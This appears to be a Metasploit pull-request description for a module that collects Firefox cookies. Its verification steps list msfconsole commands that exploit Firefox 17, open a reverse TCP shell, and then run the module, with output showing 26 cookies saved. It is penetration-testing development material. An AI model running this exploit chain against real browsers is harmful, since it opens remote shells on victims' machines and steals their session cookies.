Add cookie gathering post module for FF privileged sessions.

Verification:
- [x] Get a shell on firefox 17 (browse to http://google.com first to get some cookies):
```
msf> use exploit/multi/browser/firefox_svg_plugin
msf> set payload firefox/shell_reverse_tcp
msf> set LHOST 0.0.0.0
msf> run
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:59457) at 2014-03-26 13:51:32 -0500
```
- [ ] Run the `post/firefox/gather/cookies` module against the session, ensure you collect some cookies:
```
msf> use post/firefox/gather/cookies
msf> set SESSION 1
msf> run
[+] Saved 26 cookies to ....
```